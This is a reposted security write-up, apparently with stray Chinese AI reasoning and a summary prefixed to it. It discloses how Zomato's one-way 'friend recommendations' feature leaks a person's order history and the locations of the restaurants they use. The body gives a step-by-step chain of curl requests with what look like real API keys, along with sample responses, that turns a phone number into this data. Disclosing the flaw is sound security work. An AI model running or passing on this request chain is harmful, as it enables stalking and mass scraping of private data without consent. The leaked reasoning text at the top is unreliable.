Zomato Privacy Flaw: How the ‘Friend Recommendations’ Feature Enables Location Stalking
嗯,用户让我帮忙总结一篇文章的内容,控制在100字以内,而且不需要用特定的开头。我先看看这篇文章讲的是什么。 文章标题是“Zomato’s Misleading UI: The Illusion of Consent in ‘Friend Recommendations’”。看起来是关于Zomato应用的用户界面设计问题。里面提到Zomato在“好友推荐”功能上的隐私设置误导用户。 文章详细解释了Zomato的“好友”定义与大多数社交应用不同。在Instagram或LinkedIn中,好友关系是双向的,需要双方同意。但Zomato采用的是单方面模式,即只要有人有你的手机号码,就能查看你的食物历史记录,而不需要你的同意。 作者还通过编写脚本直接与Zomato的API端点交互,展示了如何利用这些漏洞获取用户的推荐历史、口味档案和订单记录。整个过程不需要用户的确认,受害者也不会收到任何通知。 文章还详细描述了攻击者如何通过几个步骤利用Zomato的API端点来获取用户的详细信息,包括餐厅名称、具体位置、食物项目及其价格等。最后指出Zomato试图在送餐应用上构建社交网络,但忽略了社交网络的核心安全功能:相互同意。 总结一下,这篇文章揭示了Zomato在“好友推荐”功能中的隐私设计漏洞,用户的数据容易被未经授权的人获取。因此,我需要将这些关键点浓缩到100字以内。 首先说明问题:Zomato的应用程序存在隐私漏洞。然后解释问题所在:它允许任何人通过手机号访问用户的饮食数据。接着提到作者通过API展示了如何提取详细信息,并指出这违反了互惠原则。最后强调数据安全的重要性。 这样就能在100字以内准确传达文章的核心内容。 </think> Zomato的应用程序存在隐私漏洞:其“好友推荐”功能的设计让用户误以为数据共享基于互惠关系,但实际上只需手机号即可访问他人的饮食数据。通过技术手段直接调用API端点,攻击者可提取目标用户的餐厅列表、具体食物项目及其价格等信息。这种单方面数据共享模式违反了社交网络的核心安全原则——互惠同意,暴露了用户隐私数据的巨大风险。 2026-3-11 04:35:50 Author: infosecwriteups.com(查看原文) 阅读量:9 收藏

Zomato’s Misleading UI: The Illusion of Consent in ‘Friend Recommendations’

The core issue lies in a misleading design choice: The Definition of a Friend.

Press enter or click to view image in full size

Zomato app user interface showing misleading privacy settings for friend recommendations.

In most social apps (Instagram, LinkedIn), a “connection” or “friend” is Mutual. I add you, you accept me, and then we share data. Zomato uses a Unilateral model.

  • How Users Think It Works: “I share my food history with my friends.
  • How It Actually Works: “Anyone who has my phone number can see my food history.”

I wrote a script to interact directly with the sync-desync contacts endpoint, skipping the app UI entirely:

  • I upload a list of phone numbers (random or targeted. Potentially in thousands or even millions).
  • Zomato checks if those numbers have accounts.
  • Zomato returns the Recommendation History (Based on their order history), Taste Profile, and Ordered from Restaurants for every match.
  • There is no “Accept Request” button. The victim never gets a notification. If I have your number or if I can find your number, I have your data.

They are attempting to build a social network on top of a delivery app, but they have stripped away the core safety feature of social networks: mutual consent.

Exploiting Zomato API Endpoints: A Technical Proof of Concept

Step 1: The sync-contacts endpoint

Purpose: The attacker syncs the phone numbers they want to target.

Request:


curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/sync-contacts" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"flow_type": "revamped_flow",
"contacts_access_level": "full_access",
"contacts": [
{
"phone_numbers": ["+91 99999 99999"],
"name": "poc_contact_9999999999",
"id": "1"
}
],
"location": {
"city_id": 11111,
"place": {
"delivery_subzone_id": 11111
}
}
}'

Response:

{'status': 'success', 'message': 'success'}

Step 2: get-contacts we just synced

Purpose: This step is crucial. The API endpoint indicates if the target is a Zomato user and if they have public recommendations. Most importantly, it retrieves the encrypted_user_id associated with that phone number.

Request:

curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/get-contacts" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json; charset=UTF-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"request_type": "initial",
"additional_filters": {},
"page_type": "contacts_management",
"removed_snippet_ids": [],
"page_index": "1",
"count": 99999,
"is_gold_mode_on": false,
"keyword": "",
"load_more": true
}'

Simplified Response from get_contacts.py (the actual response is a complex structure, as Zomato uses Server Driven UI):

[
{
"name": "poc_contact_XXXXXXXXXX",
"is_zomato_user": true,
"has_recommendations": true,
"recommendations": 23,
"encrypted_owner_user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX"
},
{
"name": "poc_contact_9999999999",
"is_zomato_user": false,
"has_recommendations": false,
"recommendations": 0,
"encrypted_owner_user_id": null
}
]

What is Encrypted User Id?: Instead of sending a public integer User ID, Zomato sends an encrypted_user_id so the user can be anonymized and the review data and potential PII does not get exposed from the following endpoint: https://zoma.to/u/123456

Step 3: The get_listing_by_usecase endpoint. Get Restaurant Names for the “Encrypted User ID”

Purpose: The purpose of this request is to turn that number of Recommendations to actual restaurant names and their specific outlets.

Request:

# Initial request cURL (for page 1; subsequent pages require dynamic postback_params)
curl -X POST "https://api.zomato.com/gateway/search/v1/get_listing_by_usecase" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json; charset=UTF-8" \
-H "Host: api.zomato.com" \
-H "X-Client-Id: zomato_android_v2" \
-H "X-Zomato-Access-Token: <Your token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"request_type": "initial",
"page_type": "collection_page",
"friend_recommendation_params": "{\"collection_type\": \"RECOMMENDATION\", \"owner_user_name\": \"your_owner_name_here\", \"encrypted_owner_user_id\": \"your_encrypted_owner_user_id_here\"}",
"count": 10,
"view_type": "RESTAURANT",
"additional_filters": {},
"removed_snippet_ids": [],
"page_index": "1",
"location": {
"entity_type": "subzone",
"entity_id": "9999999999",
"place_type": "DSZ",
"place_id": "9999999999"
},
"is_gold_mode_on": false,
"keyword": "",
"load_more": false
}'

Simplified Response from get_contact_collection.py (Again the actual raw response has a complex structure):

{
"success": true,
"total": 10,
"restaurants": [
{
"name": "Pizza Wings",
"res_id": "XXXXXXXXX",
"chain_id": "XXXXXXXXX",
"displayed_id": "XXXXXXXXX"
},
{
"name": "Body Fuel Station",
"res_id": "XXXXXXXXX",
"chain_id": "XXXXXXXXX",
"displayed_id": "XXXXXXXXX"
},
{
"name": "Domino's Pizza",
"res_id": "XXXXXXXXX",
"chain_id": "143",
"displayed_id": "XXXXXXXXX"
},

...
],
<redacted for brevity>

You will notice the following things in the response:

  • chain_id: Its the parent id for a outlet. For example, For a chain like Subway, chain_id never changes eg: 123, and the res_id would represent the Id of the specific outlet of that subway.
  • res_id: Stands for the restaurant Id, represents the actual outlet location.

For franchises like subway, KFC, etc, The chain_id never changes, the res_id represents the particular KFC or Subway for a certain area.

Zomato API, does not guarantee to give us specific res_id when the restaurant is a Chain. This could be due to several reasons like Availability, Zomato tends to return the res_id’s that could be closer, weather conditions, No nearby riders etc…

For local restaurants like “Body Fuel Station”, the chain_id, and the res_id always remains the same. Here, Zomato API is forced to return the specific outlet as it’s not registered as a Chain on Zomato.

By now, we have a list of the restaurant our target has at least ordered from once.

Step 4: Extracting Specific Food Items From the list of restaurants we got for our target using gw/menu/{res_id} Endpoint

Purpose: You must have noticed, when you refresh the restaurant menu, on the top section as a filter you get to see what your contact (“Friend”) has recommended. The goal is to now extract those specific items.

Request:

curl -X POST "https://api.zomato.com/gw/menu/<res_id>" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Access Token>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d "resID=<res_id>&mode=delivery&tabId=menu"

Simplified Response From get_menu.py (Again, the actual structure is very complex):

[
{
"user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX",
"ordered_items": [
{
"name": "Peri Peri Pizza",
"price": 289,
"image": "https://b.zmtcdn.com/data/dish_photos/cea/20a8d49d5d4a28712956d92872636cea.png"
},
{
"name": "Mexican Pizza",
"price": 269,
"image": "https://b.zmtcdn.com/data/dish_photos/260/7ce7ae6a108a3319f0b5a74a0cf0b260.png"
},
{
"name": "Jalapeno Garlic Bread",
"price": 239,
"image": "https://b.zmtcdn.com/data/dish_photos/2a4/cdf164bb6648642a769403c7bd9392a4.png"
},
{
"name": "Farmer Choice Pizza",
"price": 299,
"image": "https://b.zmtcdn.com/data/dish_photos/e35/b54ca6221ad549a9fa65376b6c0cae35.png"
}
]
},
{
...
}
]

We did it for one restaurant, but we have to run this script on each restaurant we identified from Step 3, and by then we will have a list of all dishes and the bare minimum price before discounts.

Step 5: Enriching the list of Restaurants we got for the user with Specific coordinates

Purpose: The goal now is to enrich the list of all restaurants, to extract the latitude and longitudes.

Get Jatin Banga’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Request:

curl -X POST "https://api.zomato.com/gw/menu/res_info/<res_id>" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-H "X-Zomato-Is-Metric: true" \
-H "X-Zomato-UUID: b2691abb-5aac-48a5-9f0e-750349080dcb" \
-d '{"should_fetch_res_info_from_agg": true}'

Simplified Response from get_res_meta.py:

{
"latitude": 30.XXXXXXXXXXX,
"longitude": 76.XXXXXXXXXXX,
"success": true
}

We will repeat this process for each restaurant for a user, then we will have the following details:

  • Restaurant Names
  • Specific Dishes, Images, Prices from all Restaurants
  • Latitude and Longitude of the Restaurant or the specific Outlet.

Final Aggregated Intelligence:

So, using series of “intended” Zomato features, I was able to get this data from just a phone number !

Zomato could have automatically stopped me at Step 3 or 4 by just checking, if the connection is mutual.


文章来源: https://infosecwriteups.com/how-a-zomato-feature-enables-stalking-which-they-call-working-as-intended-4372ccf56a77?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh